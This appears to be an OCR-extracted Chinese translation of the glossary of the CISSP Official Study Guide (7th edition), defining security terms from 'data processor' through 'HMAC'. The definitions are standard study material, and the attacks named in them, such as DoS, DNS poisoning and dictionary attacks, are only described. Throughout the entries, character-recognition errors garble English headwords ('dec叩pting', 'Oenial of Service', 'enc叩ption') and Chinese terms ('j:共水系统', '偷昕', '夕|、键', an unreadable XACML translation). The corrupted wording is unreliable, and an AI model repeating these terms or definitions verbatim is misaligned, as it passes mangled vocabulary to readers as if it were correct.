负 责为安全解决方案 内 的放置和保护进行信息分类的人。
701
CISSP 官方学 习指南(第 7 版)
data processor: 数据处理者
欧盟数据保护法将数据处理者定义为 " 一个 自然人或法人， 他拥有个人资料， 仅代表数据控制
者的利益 。 "
data remanence : 数据剩磁
在数据被移除之后仍保留在介质上的数据。 清除和清理方法尝试确保从介质中删除所有数据而
没有任何数据剩余 。
data stream : 数据流
来自应用 层的数据被发送到协议枝 。 数据流成为顶层协议的初始有效载荷 。
Data Terminal Equipment: 数据终端设备(DTE)
一种网络连接设备 ， 像一台路由 器或交换机 ， 为用 户的网络提供到帧中继网络的接入。
data warehouse : 数据仓库
大型数据库 ， 它存储 了 大量用于专用分析技术的来 自 多 个数据库的信息。
database : 数据库
为组织收集到的信息而采用的 电子整理汇集系统。 大多数数据库由 文件、 记录和字段组织起来。
database contamination : 数据库污染
当不同值、 分类、 安全域中 的数据或记录混合在一起时会发生的事情， 可能是一种完整性和机
密性形式的违反。
702
Database Management System : 数据库管理系统(DBMS)
可 以对数据库 中 的信 息应用 存储 、 修改和抽取。
database pa时itioning : 数据库分区
将一个数据库分为若干更小的部分或单独的数据库， 通常用于分隔开具有不同敏感度标签的
内容。
dead zone : 死区网络
一种网络段， IPX 和 AppleTalk 都可作为 E 协议网关， 替 代实现 E 方案 。
decentralized access control : 分散式访问控制
一种访 问控制系统， 其中授权验证 由 整个系统中的不同 实体执行 。
Decision Support System : 决策支持系统(DSS)
这种应用分析业务数据并且以更容易做出业务决策的形式提供给用户 。 决策支持系统更多地被 ·
术语表
视为信息型应用 ， 而不是操作型应用 。 DSS 常常被知识型员工(例如服务台人员或客户支持人员)和
销售服务人员(例如 电话推销员 )所使用 。
declassification : 降低机密等级
在资源的价值不再值得受到更高分类级别 的安全保护时将之移至更低分类等级 的过程。
dec叩pting : 解密
反向用于加密消息的密码算法过程。
dedicated security mode : 专用 安全模式
运行在专用安全模式中的系统经过授权每次只处理一个具体的分类级别， 并且所有系统用户必
须具有许可和 了 解这些信息的需求。
deencapsulation : 拆封
在 PDU 沿 OSI 模型的各层向上传输时 ， 从 PDU 中剥离层的头和尾的过程。
defense-in-depth : 深度防御
安全的 分层方法 。 实现了 多层安全性， 攻击者需要绕过多个安全控制才能成功 。
degaussing : 消磁
使用磁体恢复介质到 最初未被使用 的状态。
degree : 度
关系数据库中列的数量。
delegation : 委托
在面向对象编程环境中， 将某个对象的请求转发给另一个对象或代理。 如果某个对 象没有处理
特定消息 的方法， 那 么就需要委托。
Delphi 技术
一个匿名反馈和响应过程， 这个过程被用 于达成一致意见。
delta 规则
也被称为学习规则 。 它是专家系统的特性， 这种特性允许专家系统从经验中 加 以学习 。
deluge system : j:共水系统
干管道(火灾抑制)系统的另外一种形式， 它使用较粗的管道， 因此能排出大股的水流。 洪水系
统对于放置了 电子设备和计算机的环境不太适合。
703
CISSP 官方学习指南(第 7 版)
Oenial of Service : 拒绝服务攻击(OoS)
阻止系统对针对资源和客体的 合法通信或请求进行处理或响应 的一种攻击类 型 。
detective access control : 检测性访问控制
为 了发现不必要的或未授权的操作的出现而部署的访问控制 。 例如， 检测性访问控制包括保安、
监督用 户 、 事故调查和入侵检测系统(IDS)。
deterrent access control : 威慑性访问控制
为 了 防止安全策略违规的访问控制 。
OevOps 方法
DevOps方法通过将三种职能集中在一个操作模式中来解决软件开发、 质量保证和技术操作的 问
题 。 DevOps这个词是开发和操作的组合， 表示这些功能必须合井和合作才能满足业务需求。
dictionary attack : 字典攻击
一种攻击系统的形式， 用于发现己知身份(也就是用户名)的密码。 在字典攻击中 ， 常用密码和
字典单词 的脚本被用 来试图发现账户 的密码。
differential backup : 差异备份
一种备份类型 ， 存储那些 自 从最近一次完整备份以来被修改过的所有 文件 。
Oiffie-Hellman : 算法
在双方可能需要相互通信但是没有物理手段交换密钥 内容， 并且没有公钥基础设施便于交换保
密密钥时使用 的密钥交换算法。
704
diffusion : 扩散
明 文的一处变化导致整个密文的多处变化。
Oigital Mil lennium Copyright Act : 数字干禧年版权法案
此法律阻止那些挫败由版权所有者用于受保护作品的版权保护机制的企图， 并且还限制了 互联
网 服务提供商的线路被罪犯用 于违反版权法时应 负 的责任。
Oigital Rights Management: 数字版权管理(ORM)
一种使用加密来保护数字介质上版权限制的保护软件。 在过去十年中 ， 发布商尝试在包括音乐、
电影和书籍的各种介质类型中部署 DRM 方案。
digital signature : 数字签名
数字签名可 以向接收者保证消息的确来自 声明的发送者， 消 息在发送者和接收者之间进行传输
的过程中未被改变。
术语表
Digital Signature Standard : 数字签名标准(DSS)
这个标准指出联邦政府批准的所有数字签名 算法都必须使用安全的散列函数。
direct addressing : 直接寻址
向 CPU 提供要被访 问 的存储器位置的实际地址。
direct evidence : 直接证据
通过基于证人五官感知收集信息的言辞证据证明或反驳特定行为的证据。
Direct Memory Access : 直接内存访问(DMA)
不需要 CPU 帮助就可 以直接交换实际存储器数据(RAM)的机制 。
Direct Sequence Spread Spectrum : 直接序列扩频(DSSS)
以并行方式同时利用所有可用频率的一种无线技术 。
directive access control : 指令性访问控制
这种访 问 控制指示、 限制或控制主体的活动 ， 从而强制或鼓励主体服从安全策略 。
directory service : 目 录服务
网络中可用资源的集中化数据库， 可以被理解为网络服务与资产的 电话号码簿。 用 户 、 客户 端
和进程可 以通过查 阅 目 录服务了 解所期望系统或资源的驻留位置。
disaster: 灾难
给系统或环境带来很大伤害 、 损失或破坏的事件。
disaster recove叩 plan : 灾难恢复计划
为 了 尽可能快地将业务还原到正常运营而需要的指导恢复工作的文档 。
Disaster Recovery Planning : 灾难恢复计划编制(DRP)
描述了 组织在灾难发生并打断正常的业务活动之后为恢复正常运营而采取的措施。
discretionary access control : 自主访问控制
用 于控制对客体访 问 的一种机制 。 客体的所有者或创建者控制和定义主体对客体的访问。
discretiona叩 security prope同y : 自 主安全属性
这个属性规定系统使用访问控制表来实施 自 主访问控制 。
distance vector routing protocol : 距离矢量路由协议
一种路由协议， 维护 目 的网络以及距离和方向 的跳数的列表(也就是到达 目 的地所经过的路由器
705
CISSP 官方学 习指南(第 7 版)
数量)。
distributed access control : 分布式访问控制
访问控制 的一种形式， 其 中授权验证 由 整个系统的不同实体进行 。
distributed architecture : 分布式体系结构
网络的客户端峨务器模型， 其中客户端可以是本地的或通过 WAN 链路(包括 VPN 和互联网)
连接。
Oistributed Component 0同ect Model : 分布式组件对象模型(OCOM)
扩展了 COM 的概念， 从而支持分布式计算 。 这是 Microsoft 公司针对 CORBA 的解决方案。
Oistributed Control Systems : 集散控制系统(OCS)
DCS 单元通常可以在工业处理方案中看到， 它负责从单个地点的大型网络环境中收集数据和实
施控制， 它是非常重要的 。 DCS 系统的一个重要方面是控制分布在所监测环境中 的元件， 如制造车
间 或生产线和集中监控场所 ， 向局部控制器发送命令， 同 时收集状态和性能数据。
distributed data model : 分布式数据模型
在分布式数据模型中， 数据存储在多个数据库中， 不过依然是逻辑连接的。 即使数据库由通过
网络相互连接的许多部分组成 ， 用户仍然将数据库理解为单个实体。 每个字段都具有许多子宇段和
父宇段。 因 此数据映射关系是多对多关系。
Oistributed Oenial of Service : 分布式拒绝服务攻击(0008)
当攻击者对多个系统的安全造成威胁并将它们当作发动对其他一个或多个受害系统攻击的平台
时 ， 就会发生分布式拒绝服务攻击。 在攻击中使用 的受威胁系统通常被称为从属系统或僵尸 。 DDoS
攻击使用 来 自 多个源的数据导致受害系 统泛洪 。
Oistributed Reflective Oenial of 8ervice : 分布式反射拒绝服务(OR008)
DRDoS 攻击利用 了主要互联网服务的常规操作机制 ， 这些服务包括 DNS 和路由器更新协议。
通过将受害者的地址用为欺骗的源地址， DRDoS 攻击会向各种互联网服务的服务器或路由器发送众
多更新、 会话或控制包。 DRoS 攻击可能导致过多的通信数据， 从而使上游系统受到受害者过量数
据的负面影响 。
706
ONS 投毒
改变或伪造 DNS 信息(例如 HOSTS 文件、 DNS 缓存服务器或授权 DNS 服务器)以便路由或误
导 合法通信的行为。
ONS 欺骗
使用一台欺诈的 DNS 服务器更改或伪造 DNS 信息并发送假的 DNS 应答的行为， 从而导致路
由 或误导合法流量。
术语表
documenta叩 evidence : 文档证据
所有带到法庭上证明事实的书面 内容。 这种证据类型还必须经过验证。
documentation review : 文档审查
阅读交换材料并利用 标准和期望对其进行检验的过程 。
domain : 域或领域
1) 一个信任范围 ， 或者共享共同安全策略的主体和客体的集合。 每个域的访问控制与其他域的
访问控制是独立维护的 。 在涉及多个域时会导致分散式访问控制。 2)CISSP 考试的一个研究领域。
DREAD
风险评级系统设计用于提供灵活评级解决方案， 基于对每个戚肋 的 5 个主要问题: 破坏潜力、
可重复性、 可利用性 、 受影响用户和可发现性。
drive-by download : 偷渡式下载
在用户不知情的情况下下载代码和安装。 攻击者有时会修改合法网站上的代码， 以包含偷渡式
下载。 他们还托管 自 己的 恶意网站， 并使用 网络钓鱼或重定向方法将用 户 带到恶意网站。
d叩 pipe system : 干管道系统
包含压缩空气的一种火灾抑制系统。 一旦灭火装置被触发、 空气泄漏 、 水阅打开， 从而使管道
充满水并在环境中放出水来 。
due care : 应尽关注
确保企业的资产和员工是安全的并己经得到保护， 井且高层管理人员 己经对所有未得到缓解或
转移的风险进行 了恰当 的评估和假设。
due diligence : 应尽职责
通情达理的人在特殊的条件 下避免损害他人或财务的努力程度 。
dumb cards : 无记忆卡
人们可以读取的身份卡， 通常含有经过授权的持卡人的照片和手写的信息。 无记忆卡通常在无
法实施或无法利用 自 动化控制(但使用保安人员 是 比较可行的方法) 的环境中使用 。
dumpster diving : 垃圾挖掘
为 了发现或推断出有价值的机密信息， 在组织或生产过程中 的废弃物、 剩余物或遗留物中进行
挖据 的行为。
durabil ity : 持久性
所有数据库事务处理的 4 个必备特征之一(其他三个特征是原子'性、 一致性和隔离性)。 数据库
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CISSP 官方学习指南(第 7 版)
事务处理必须是持久的， 也就是说一旦被提交给数据库， 事务处理就会被保留。 数据库通过使用备
份机制(例如事务处理 日 志)确保了持久性。
dwell time: 按压时间
在键盘上按压某个键的时间 。 这是击键力度生物测定学因素的一个元素。
Dynamic Host Configuration Protocol : 动态主机配置协议(DHCP)
用 于在系统启动时为系统指派 TCP/lP 配置设置的一种协议。 DHCP 将端 口 67 用 于服务器点对
点响应 ， 将端 口 68 用 于客户 端请求广播 。 DHCP 支持对网络寻址的集中化控制和管理。
dynamic packet-fi ltering firewalls : 动态数据包过滤防火墙
使得过滤规则的实时修改可以建立在通信内 容上的防火墙。 动态数据包过滤防火墙被称为第 4
代防火墙 。
dynamic passwords : 动态密码
无法在延长时间段内保持不变的密码。 动态密码可以在每次使用时发生变化或定期改变(如每隔
30 天进行一次改变)。
dynamic testing : 动态测试
在运行环境 中评估软件安全， 对于部署别人写 的应用程序的组织来说通常是唯一选择。
E
eavesdropping : 偷昕
嗅探的另一个术语。 然而， 偷听不只包括捕获和记录网络通信， 还包括记录或监昕音频通信、
传真和无线 电信号等。
Economic Espionage Act of 1 996 : 1 996 年的经济间谍法案
该法律规定， 任何被发现带有为外国政府或机构获利的意图、 从美国公司偷取贸易机密的犯罪
者可以被处以高达 50 万美元的罚款和长达 1 5 年的监禁。 任何被发现在其他情况中窃取商业秘密的
犯罪者可 以 处 以高达 25 万美元的罚款和长达 1 0 年的监禁。
education : 教育
一项更细致的工作 ， 此时学结Y用户学习 比他们为完成工作任务实际上需要知道的更多的知识。
教育通常与用户 参加认证考试或寻求职务晋升联系起来 。
EI Gamal
对 Diffie-He1hnan 密钥交换算法背后的数字原理如何被扩展用于支持信息加密和解密的整个公
共密码系统进行了 解释 。
术语表
ElectroMagnetic I nterference : 电磁干扰(EMI)
一种电噪声， 可以引起电气设备的工作出现问题。 它还可能干扰通信、 传输和回放， 导致质量
下降。
Electronic Access Control : 电子访问控制(EAC)
使用 凭证读卡器、 电磁体和 闭 门感应器的一种智能锁。
Electronic Codebook : 电子代码本(ECB)
最易于理解的加密模式， 但安全性最差。 每次这个算法处理一个 64 位分组， 它简单地使用所选
择的密钥对这个分组进行加密。 这意味着如果算法多次遇到相同 的分组， 那么它将产生完全相同 的
加密分组。
Electronic Com m unications Privacy Act: 电子通信隐私法案(ECPA)
使得对个人电子隐私的侵犯成为犯罪行为的法律。 它对电子邮件和语音邮件通信的监视提供了
防护 ， 并且防 止这些服务的提供商对这些 内 容进行未授权的公开。
electronic discove叩 : 电子发现(e-Discove叩)
在诉讼过程中 ， 任何一方有责任保留与案件相关的证据 ， 并通过发现过程， 在控诉双方之间分
享信息。 这个发现过程应用纸质档案和电子记录和电子发现(e-Discovery)过程促进电子信息披露的
处理。
electronic vaulting : 电子保险库
在这种存储环境中 ， 使用批量传送方式将数据库备份转移到远处的一个场所。 远程的这个地点
可 以是一个专用 的替代性恢复场所(如完备场所)， 或者只是由公司或承包商管理的远程场所， 主要
是 出 于维护备份数据 的 目 的 。
Electronically Erasable PROM : 电可擦除 PROM(EEPROM)
存储系统使用传送到芯片引脚的电压来强制擦除。 EEPROM 可 以在不从计算机中移除的情况下
被擦除 ， 它 比标准 PROM 和 EPROM 芯片拥有更大的灵活性。
elliptic curve c叩ptography : 椭圆曲线密码学
公钥密码学的一个新的分支， 在减少密钥长度的基础上提供与 己建立的公钥密码系统相似的安
全性。
elliptic curve group : 椭圆曲线组
每条椭圆曲线都有对应的椭圆 曲线组， 这个组由椭圆 曲线上的点和位于无穷大处的点 0 组成。
在 同一个椭 圆 曲线组中 的两个点(P 和 Q) ， 可 以用椭圆曲线的加法算法加在一起。
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CISSP 官方学 习指南(第 7 版)
em bedded system : 嵌入式系统
通过计算机实现一个更大系统的一部分。 嵌入式系统通常围绕与更大的产品相关的一系列有限
和特定的功能进行设计并成为它的一个组成部分。 它可能由一个典型计算机系统找到的相同组件组
成 ， 或者可能是一个微控制器(集成芯片与主板上的内存和 外设端 口)。
employee : 员工
在讨论 IT 问题时， 通常是指用户 。
employment agreement: 雇用协议
一种文档， 用 来概略说明组织的规则和限制 、 安全策略和可接受的使用方法和行为准则 ， 详细
描述工作情况， 概述破坏话动及其后果， 并且确定 员 工胜任工作要求所需的时间 。
Encapsulating Security Payload : 封装安全有效载荷(ESP)
为保护传输数据的机密性进行加密的 IPSec 组件， 但是也可 以进行有限的身 份认证。
enc叩pt : 加密
将消息转换为密文的过程。
71 0
encrypted virus : 加密病毒
力日密病毒使用密码学躲避检测 。 在加密病毒的外部表现中 ， 它们实际上很像多态病毒 ， 每个被
感染的系统都有一个不同特征的病毒。 然而， 加密病毒不是通过改变其代码生成这些修改过的特征，
而是修改了在磁盘上的存储方式。
enc叩ption : 加密技术
对无意 的接收者隐藏通信数据的含意或意 图的一种艺术和学科。
endpoint security : 终端安全
终端安全的概念是每个单独设备必须维护本地安全， 不论其网络或通信通道是否提供安全。 有
时这被表示为 " 末端设备应对 自 己的安全负责 "。
end-to-end enc叩ption : 端到端加密
一种加密算法， 保护双方(也就是客户端和服务器)之间的通信安全， 并且可 以独立于链路加密
技术实施。 端到端的加密技术的例子是在发送者和接收者之间使用隐私增强邮件σEM)传递邮件。
这种技术可以阻止加密链路的安全端的通信数据或通过未加密 的链路传送的通信数据遭到入侵者的
监控。
enrol lment : 注册
在系统中建立新的用户、 身份或身份认证因素的过程。 安全注册要求个人身份或身份认证因素
的实际证明 。 通常， 如果注册过程超过两分钟 ， 那么身份标识或授权机制(尤其是生物测定设备)是
术语表
不被认可的。
enterprise extended mode : 企业扩展模式
使用 多个无线接入点来支持 比单个无线接入点更大地理区域的单个无线网络。
entity : 实体
指主体或客体。
Erasable PROM : 可擦除 PROM(EPROM)
在这些芯片上有一个很小的窗 口 ， 当用一束紫外线光照射的时候， 就可以擦掉芯片上的内容。
这个过程完成之后 ， 终端用户 可 以将新的信息烧入 EPROM 内 。
erasing : 擦除
对一个文件、 选中的几个文件或整个介质中 的文件执行的一次删除操作。 大多数情况下， 删除
或擦除过程只 是删掉了链接数据 的 目 录或分类链接 。 数据实际上还保留 在磁盘上。
escalation of privilege : 权限提升
任何攻击者或利用 ， 将他们 的访问权限从正常的用户账户 扩展到管理员特权。
Escrowed Enc叩ption Standard : 托管加密标准
美国政府希望为所有加密解决方案创建后门 的失败尝试。 这个解决方案利用 了Clipper芯片， 该
芯片使用 了 Skipjack算法 。
espionage : 间谍活动
收集有关组织专有的 、 秘密的、 隐私的、 敏感的或机密的信息的恶意行为。 这种行为出于明确
的揭露 目 的 ， 通常这些数据会被卖给竞争对手或其他感兴趣的 组织(如外 国政府)。
ethernet : 以太网
一种常见的共享介质 LAN 技术 。
ethical hackers : 道德黑客
经过培训负责网络安全方法、 主要 目 的是进行非破坏性和非入侵测试的人。 道德黑客代表安全
系统的所有者攻击安全系统， 以便确定和记录系统的脆弱性。 这样一来， 安全系统的所有者就能够
在恶意的黑客利用这些脆弱性之前进行补救。 道德黑客与普通黑客使用相同的方法， 不过会报告他
们所发现的问题， 而不是像普通黑客那样牟取 自 己的利益 。
ethics : 道德规范
管理个人行为的规则。 一些组织己经认识到需要标准的道德规范或准则， 并且为道德行为设计
了 指导方针。 这些准则不是法律， 它们是对专业人士行为的最低标准。 它们应该为你提供可靠的 、
专业的道德判断基础 。
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CISSP 官方学习指南(第 7 版)
evidence : 证据
在计算机犯罪中 ， 可 以在法庭上用于证明攻击者身份和行为的任何硬件 、 软件或数据 。
excessive privi lege(s) : 过度的特权
指的是用户具有比其工作任务所要求的更多的访 问权限、 特权或许可。 如果发现用户账户具有
过度的特权 ， 那么应当立即撤消额外的和不必要的特权。
exit interview: 离职面谈
中 止合同策略的一个方面。 为 了防止机密和敏感信息的泄漏， 提醒被解雇的员工他们应该承担
的法律责任。
Expectation Maximization : 期望最大化(EM)
一种数据挖掘技术， 基于用户 与组织的联系 、 数据中 心与用户 的物理位置之间的距离、 一天中
的时间和其他属性来开发正常用户 行为的模型 。
expe同 opinion : 专家观点
由专家提供的观点和事实组成的一种证据类型。 专家是接受过某领域教育的人以及 目 前从事该
领域工作 的人。
expert system : 专家系统
一种系统， 寻找某个特殊主体具体化的人类累计的知识， 并用于为将来的决定采取一致的形式。
exposure : 暴露
指 由于威胁而容易造成资产损失的状况。 暴露包括容易被威胁主体或事件利用 的脆弱性。
Exposure Factor: 暴露因子(EF)
如果 己发生的风险危害到某种特殊资产 ， 组织将受到 的损失的百分比 。
Extensible Access Control Markup Language : ì.方i间;空制丰示i己i吾言(XACML)
一种标记语言 ， 用于在泡在L 格式 内定义访问控制策略， 并且它通常实现基于角色的访问控制 。
它有助于给联盟 中 的所有成员 提供保证 ， 保证他们 向不同角色授权相 同级别 的访问。
Extensible Markup Language : 可扩展标记语言(XML)
一种标记语言 ， 定义了人类和机器可读的文档格式和编码规则 。
Extranet : 外部网
互联网和内部网之间的中间物。 外部网是组织网络己经被分开的一部分， 这样对于专用网络来
说， 它是一个内部网 ， 但是它还为公共的互联网提供信息服务。 外部网常常用于提供商和用户之间
的 B2B 应用 。
术语表
F
face scan : 面部扫描
生物测定学因素的一个例子， 它是主体唯一具有的行为或生理特征。 面部扫描是使用某个人面
部的形状和特征布局 的过程， 被用 于建立身份标识或提供身份认证。
fail-open : 应急开放
系统对故障的一种响应 ， 从而默认进入 " 允许 " 状态。
fail-safe : 故障防护
系统对故障的一种响应， 从而默认进入 " 拒绝 " 状态。
failover: 故障转移
当主系统发生故障时 ， 将工作负载或流量重 定 向 到备份系统 。
Fair Cryptosystems: 公正密码系统
美国政府希望为所有加密解决方案创建后门 的失败尝试。 这个技术使用 了 分派在若干受托人之
间 的分段密钥。
False Acceptance Rate : 误接受率(FAR)
在生物测定设备不够敏感和非法的主体通过身份认证的 时候发生 的错误。
false negative : 假性负面
当漏洞扫描器漏掉漏洞井且未能警告管理员存在危险情况时发生的错误。
false positive : 假性正面
可能触发警报的事件， 当安全扫描器可能没有足够的信息来最终确定一个漏洞的存在时， 也可
能会在没有问题的时候报告漏洞 。 它也被称为将 良性问题视为恶意事件 。
False Rejection Rate : 误拒绝率(FRR)
在生物测定设备太敏感和合法的主体没有通过身份认证的时候所发生的错误， 也被称为类型 l
错误。
Family Educational Rights and Privacy Act : 儿童教育权利和隐私法案(FERPA)
另一种特殊的隐私法案， 它影响所有接受美国联邦政府资助的教育机构(绝大多数学校)。 该法
案赋予 1 8 岁 以 上的学生和未成年学生的父母确定的隐私权。
fault : 故障
瞬间失去 电力 。
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CISSP 官方学 习指南(第 7 版)
fault tolerance : 错误容错
一种系统遭受故障但能持续运行的能力 。 容错是指添加冗余组件， 如在廉价磁盘冗余阵列(RAID)
中 添加额外的磁盘， 或在故障转移群集配置中 添加额外的服务器。
Federal Information Processing Standard 1 40 : 联邦信息处理标准 1 40(FIPS-1 40)
FIPS-1 40 为美国联邦政府使用 的 密码学模块定义了硬件和软件要求。
Federal Information Security Management Act : 联邦信息安全管理法案(FISMA)
在 2002 年通过的联邦信息安全管理法案σISMA)要求联邦机构实施一个信息安全项 目 ， 这个项
目 要覆盖机构部门 的运营。 FISMA 同样也要求政府部门(包括承包商)的活动在安全管理项 目 内。
Federal Sentencing Guidel ines : 联邦判决指导原则
1 99 1 年颁布的针对违反联邦法律提供判决指导原则 的法律。
feedback loop characteristic: 反馈循环特征
现代瀑布模型 中 的能力 ， 允许开发返回 到上一阶段， 以 纠正在后续 阶段发现的缺陷 。
fence : 栅栏
一种外围设备。 栅栏被用于明确地区分受到特殊安全级别保护的 区域和其他区域。 栅栏围墙可
以包括广泛的成分、 材料和建造方法。
Fibre Channel over Ethernet: 以太网光纤通道(FCoE)
一种汇聚协议， 用来在 以太网网络上封装光纤通道通信。 它通常需要 1 0Gbps 以太网 以便支持
光纤通道协议。
Fiber Distributed Data Interface : 光纤分布式数据接口 (FDDI )
一种高速的令牌传递技术， 它使用两个环， 其中通信流在两个环上沿相反的方向传输。 FDDI 提
供 了 1 00Mbps 的传输速率， 井且常被用作大型企业网络的主干。
fiber-optic : 光纤
一种线缆连接形式， 它传输光脉冲而不是电子信号。 光纤线缆支持 2Gbps 的吞吐率， 长度可达
两公里。
field : 字段
在数据库 中 ， 一个字段是表的一列或属性。
file infector virus : 文件感染病毒
许多病毒感染不同类型的可执行文件， 并且在操作系统试图执行这些文件时触发。 对于基于
Windows 的系统来说， 可执行文件 以扩展名 .exe 和.com 为后缀。
术语表
filter(s) : 过滤
在安全设备上常见的一组规则或限制 ， 例 如防火墙和代理， 也称为规则和 ACL。
financial aUack : 财务攻击
非法获得钱财或服务的犯罪形式。
fingerprints : 指纹
人类手指上的螺旋 图案， 通常被用作 生物学测定的身份认证因素。
firewall : 防火墙
用来过滤通信数据的网络设备。 防火墙主要用于专有网络和 Intemet 的连接之间 ， 也可以用于
公 司 内 的部门之间 。 防火墙根据 己定义好的一组规则对通信数据进行过滤。
firmware : 固f牛
存储在只 读存储器芯片 中 的软件。
flash memo叩 : 闪存
EEPROM 的衍生概念， 是一种非易失性存储媒介， 可 以进行电子擦除和重写 。 EEPROM 和 闪
存的主要区别是: EEPROM 必须完全擦除后才能重写， 闪存可以 以块或页的方式进行擦写。 闪存是
最常见的 NAND 闪存， 被广泛用于存储卡 、 优盘、 移动设备和 SSD( 固态硬盘)。
flight time : 抬指时间
前后两次击键之间的时 间 ， 是击键力度这种生物测定 学形式的一个要素。
flooding : 泛洪
向 受害 者发送足够多 的通信数据从而导致 DoS 的 一种攻击形式， 也被称为流攻击。
footer : 报尾
通过协议， 添加从较高层协议接收的有效载荷的末端信息 。
foreign key : 夕|、键
另 一个表中 的主键， 用 于在两个表的内 容间建立交联或表达的关系 。
Fourth Amendment: 第四修正案
美国宪法的修正， 防止了 美国政府机构在缺少搜查证和合理根据的情况下对私有财产的搜查。
一些美国法院已经扩展了其对第四修正案的解释， 包括针对搭线窃听和其他侵犯隐私行为的防护。
Fraggle
这种拒绝服务攻击类似于 smurf攻击 ， 但利用 的 是 UDP 数据包， 而不是 ICMP 数据包。
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CISSP 官方学 习指南(第 7 版)
fragment : 片段
当网络接收到的数据包比它允许的最大数据包的尺寸大时， 它会将这个包拆分为两个或更多个
片段。 这些片段中 的每一个都被分配 了 大小(根据包的尺寸)和偏移量(根据包的起始位置)。
fragmentation attack : 片段攻击
一种利用 TCP/IP 协议枝片段重组功能中脆弱性的攻击。
frame : 自由
数据链路层报头 、 有效载荷和尾部的组合。
Frame Relay : �.束中2匪
使用数据包交换技术为用户 建立虚 电路的共享连接介质 。
frequency : 频率
用频率测量波在特定时间 内 振动的次数(使用单位 Hz 进行确定)或者每秒的振动次数。 无线 电波
的频率在 3Hz 到 300GHz 之间。
frequency analysis: 频率分析
在加密消息中查看重复字母并与特定语言的字母使用统计信息(例如英语中宇母 E、 T、 A、 0、
N 、 R、 I 、 s和H的 出现频率)进行 比较的密码分析或攻击。
Frequency Hopping Spread Spectrum : 跳频扩频(FHSS)
扩频概念的早期实现。 这种无线接入技术并非以并行方式发送数据， 而是串行发送数据， 同时
不断改变所使用 的频率。
71 6
ful l backup: 完整备份
在备份介质上存储受保护设备上数据 的完整副本， 也指生成数据完整副本的过程。
full-interruption tests : 完全中断测试
涉及实际关闭主要场所的运营并把它们转移到恢复场所的灾难恢复测试 。
full-knowledge teams : full 认识水平团 队
在安全评估或渗透测试之前 ， 这支团 队完全了 解所有硬件和软件的操作 、 配置和用法。
fuzz testing : 模糊测试
模糊测试是一项专门 的动态测试技术， 它向软件提供了许多不同类型的输入， 来强调其局限性
并发现先前未被发现的缺陷。 模糊测试软件向软件提供无效的输入， 或是随机生成， 或是特别制作
以触发特殊的软件漏洞 。 然后， 模糊测试监控应用程序的性能， 监视软件崩溃、 缓冲区溢出或其他
不 良和/或不可预知 的结果。
术语表
fuzzy logic: 模糊逻辑
与利用 "黑白" 数据归类的代数方式或集合论的严格数学相比， 这种技术的设计更接近于人类
的 思维模式。
G
Gantt 图
显示不同时间项 目和调度之间相互关系的条形图 ， 提供了 帮助计划、 协调和跟踪项 目 中特定任
务的调度图表。
gate : f丁
栅栏的 出入控制点 。
gateway: 网关
连接使用不 同 网络协议的 网 络连接设备 。
generational fuzzing : 智 能 fuzzing
基于预期输入的模型开发输入 ， 以执行相同任务的也zzing 形式， 有时也被称为智能岛zzing。
geo-tagging : 地理标记
具有全球定位系统支持的移动设备， 支持在使用设备拍摄照片的时候不仅嵌入拍摄的照片 日 其即
时间信息， 还可 以嵌入纬度和经度形式的地理位置标记。
GNU Privacy Guard : GNU 隐私保f户(GnuPG)
OpenPGP 标准的 免费和开源实现， 是现在商业 PGP 产 品 的免费/开源变体。
Goguen-Meseguer 模型
一个完整性模型， 基于一个主体可 以访问预设的域或客体列表。
Government Information Security Reform Act of 2000 : 2000 年的政府信息安全改革法案
此法案修正 了 美国 法典 ， 实施了 附加的信息 安全策略和措施。
governmenUmil ita叩 classification : 政府/军方分类
通常应用于军方的安全系统的安全标签。 军方安全标签从高到低的分类为 : 绝密、 秘密、 机密、
敏感但未分类和未分类(绝密 、 秘密、 机密都被认为是 己分类的)。
Graham-Denning 模型
关注主体和客体在创建和删除时安全的一个安全模型。
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CISSP 官方学 习指南(第 7 版)
ActGramm-Leach-Bli ley(GLBA)法案
直到 1 999 年才成为法律， 在商业机构之间形成了严格的政府屏障。 银行、 保险公司和贷款提供
商受到对他们所能提供的服务和相互共享的信息的严格限制。 GLBA 稍微放松了涉及每个组织所能
提供的服务的规定 。
granular 0同ect control : 粒度对象控制
针对某个对象的安全设置 的非常具体的和极为详细的控制级别 。
grid computing : 网格计算
网格计算是并行分布处理的一种形式， 这种形式松散地把大量的处理节点组合在一起， 为一个
处理 目 标工作。
ground : 接地
电路中接地(即与大地相连)的 电线 。
group : 全且
访 问控制管理的简化机制 ， 与角色类似。 类似的用户成为一个组的成员 。 为组分配针对某个对
象的访问权限。 因此， 组中的所有成员对此对象具有相同的访问权限。 组的使用大大简化了管理用
户访问对象的行政性开销 。
grudge attack : 恶意攻击
通常怀有不满的动机， 并且对企业或个人进行破坏。 破坏可能是信息的丢失或信息处理能力的
丧失， 也可能是组织或个人名誉的损害。 攻击者可能是现在的或以前的员工， 也可能是希望组织不
能正常运作的人。
guest OS : 宾客操作系统
在虚拟机中运行的操作系统。
guidel ine : 指南
提供了如何实现标准和基准的建议的一套文档。 指南概述了 一套方法(包括行动建议)， 但并非
强制性的。
H
hacker : 黑客
在历史上， 没有恶意倾向的技术狂热者。 很多作家和媒体在讨论实际上与破坏者相关的 问题时
常常使用 黑 客这个术语。
术 i吾 表
halon : 晗龙
一种非常有效的灭火化合物， 但它在华 氏 900 度的时候会转化为有毒的气体， 会耗尽大气中 的
臭氧层 。 因此， 哈龙通常被其他介质 替代。
hand geomet叩 : 手部夕|、形
识别手部物理尺寸的一种生物测定学控制类型， 包括手掌和手指的宽度与长度。 这种技术可以
是机械或图像边缘(也就是可视轮廓)图解法。
handshake : 握手
由 TCP / IP 协 议枝利用 的三次过程， 用 于建立两个主机之间 的连接。
hardware : 硬件
实际的物理设备 ， 如硬盘驱动器 、 网卡和打印机等。
Hardware Security Module : 硬件安全模块(HSM)
一个密码处理器， 用 于管丑丑/存储数字加密密钥、 加速加密操作、 支持更快的数字签名 ， 并提高
身份认证。
hardware segmentation : 硬件隔离
在硬件层次上通过实施 内 存访 问 限制而实现进程隔离的技术。
hash : 散列
从散列函数生成的消息摘要所称 的数字 。
hash function : 散列函数
接收一条完整的消息， 然后根据消息的 内容生成唯一的输出值的过程。 这个数值通常被称为消
息摘要。
hash total : 散列总数
用 于校验传输完整性的校验和 。
hash value : 散歹IJ值
从文本宇符串产生的数值， 实际上比文本本身要小。 某种程度上， 其他文本生成相同散列值几
乎是不可能的。
Hashed Message Authentication Code : 散列信息身份认证代码(HMAC)
这种算法实现了 部分的数字签名功能， 也就是保证了 消息在传输过程中 的完整性， 但没有提供
不可否认性。
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CISSP 官方学习指南(第 7 版)
